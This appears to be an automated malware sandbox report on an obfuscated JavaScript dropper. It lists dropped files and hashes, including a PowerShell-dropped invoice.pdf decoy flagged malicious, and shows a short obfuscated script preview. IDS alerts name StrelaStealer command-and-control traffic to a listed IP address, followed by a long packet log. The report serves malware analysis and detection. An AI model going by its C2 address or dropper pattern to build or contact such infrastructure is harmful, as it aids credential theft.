SHA-256:	8C3FFEA68963D108599E8C5AE20DE6E9C473BF33197A03A9A7DDCD0F25A6C7F6
SHA-512:	4F54EDA9EB61172A5243DAA718CFF42A0BF079CC0FA7BE3553CC8B79772763B49F530DD6B54A9D595C4F46B8416ADF7D5C8DAD58FC43A5C651258E669DC375DA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10510), with no line terminators
Entropy (8bit):	5.014547080258162
TrID:
File name:	3062912729105825642.js
File size:	10'510 bytes
MD5:	a8e647985b646394c54c5a1e3c743788
SHA1:	ad4332e3361aea7be5e6b84914d38e749d974e0b
SHA256:	9c8f5f4608285717b7605f0eeca941916081d70f57159d0e761f78e471deaefe
SHA512:	dbb637a7cdbf303d7df2cd6121e5a661df5146109d643095e69bb9acc8521cf4c1c3db756440d4164f0886941460edb53cb83a82293f9b73be8bfa061577a8bf
SSDEEP:	192:umzC3d537IiiJEvuPp8CrdgkZkJ3EpKDahcLarSO:J+2vJnp87ko0pKDahcLarSO
TLSH:	792274C9FA2BB997CECD519EEC0540B75EDEC3A61F0808F0FA9291442239C4C4AE61B5
File Content Preview:	function egtukze(){this[nrnggstzv+jrhzmkeg+rcmbdus+xjodxgzzr]("gewduwio=[1031,3079,5127,4103,2055,3072];var dcidad=this[pjbpusd+rcmbdus+kldpcyr+xqxazjgyn+nrnggstzv+fszmmqc+wxjknlsyf+iqpbs](this[rwitu+fgnrnpacy+leybo+kldpcyr+mnxrc+pjbpusd+iqpbs][jkqqdrjyf+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:39:00.977630+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-14T08:39:00.977630+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-14T08:39:03.185944+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:39:00.165092945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.170105934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.170195103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.202872038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.207853079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977536917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977564096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977579117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977593899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977608919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977622986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977629900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.977637053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977650881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977664948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977670908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.977680922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.977680922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.977711916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.977720976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:00.982609034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.982621908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:00.982675076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.020385027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.020401001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.020415068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.020447016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.060935974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.105714083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.105806112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.105820894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.105838060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.105853081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.105889082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.105922937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.106148005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106163025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106178045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106189013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.106229067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.106556892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106571913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106587887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106601954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106617928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.106621981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.106638908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.107397079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.107419968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.107435942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.107443094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.107450962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.107466936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.107471943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.107512951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.108241081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.110930920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.110946894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.110972881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.148696899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.148713112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.148732901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.148752928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.148781061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.148813009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.148827076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.148861885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.196309090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.196322918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.196444988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.237127066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237145901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237160921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237184048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.237648964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237663984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237679005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237693071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237709045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237723112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237737894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.237806082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.237806082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.237806082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.237806082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.238023043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238115072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238130093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238146067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238153934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.238159895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238174915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238197088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.238212109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.238863945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238879919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238893986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238908052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238924980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238929033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.238940001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238948107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.238955975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238972902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.238975048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.239012003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.239736080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239752054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239767075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239779949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239787102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.239795923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239809990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239816904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.239825010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239840031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.239850044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.239885092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.240679979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240695953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240710020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240731001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.240761042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240776062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240791082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240797997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.240808010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.240830898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.241426945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.241440058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.241465092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.277653933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.277671099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.277686119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.277698994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.277714014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.277723074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.277744055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.277753115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.284126997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.284188986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.284202099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.284215927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.284226894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.284259081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.286869049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.286884069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.286899090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.286936998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.326555967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.327712059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.327733994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.327892065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.366153955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366179943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366199970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366215944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366230965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366245031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366328955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.366338968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366386890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366401911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366422892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.366635084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366682053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.366699934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366714954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366729975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366750956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.366796970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366812944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366831064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.366832972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366847992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.366877079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367125988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367140055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367163897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367172956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367177963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367193937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367198944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367208004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367222071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367233038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367264032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367784977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367805958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367821932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367835045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367844105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367850065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367863894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367870092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367878914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367892981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367899895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.367908001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.367930889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.368418932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368432999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368448019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368463039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.368475914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368484020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.368490934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368505001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368520021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368524075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.368534088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368547916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368561029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368563890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.368576050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368582010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.368591070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.368609905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.369514942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369529963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369544983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369558096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369559050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.369566917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369580030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369595051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369596004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.369609118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369616985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.369622946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369632006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.369637012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369652033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369656086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.369671106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.369690895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.370431900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370446920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370461941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370471954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.370476007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370490074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370495081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.370506048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370520115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370532036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.370533943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370548964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370558023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.370563030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370577097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370592117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.370599985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.370621920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.371273994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.371289015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.371304035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.371328115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.371329069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.371351004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.374887943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.374902964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.374917984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.374931097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.374938011 CET	49704	80	192.168.2.5	193.143.1.205
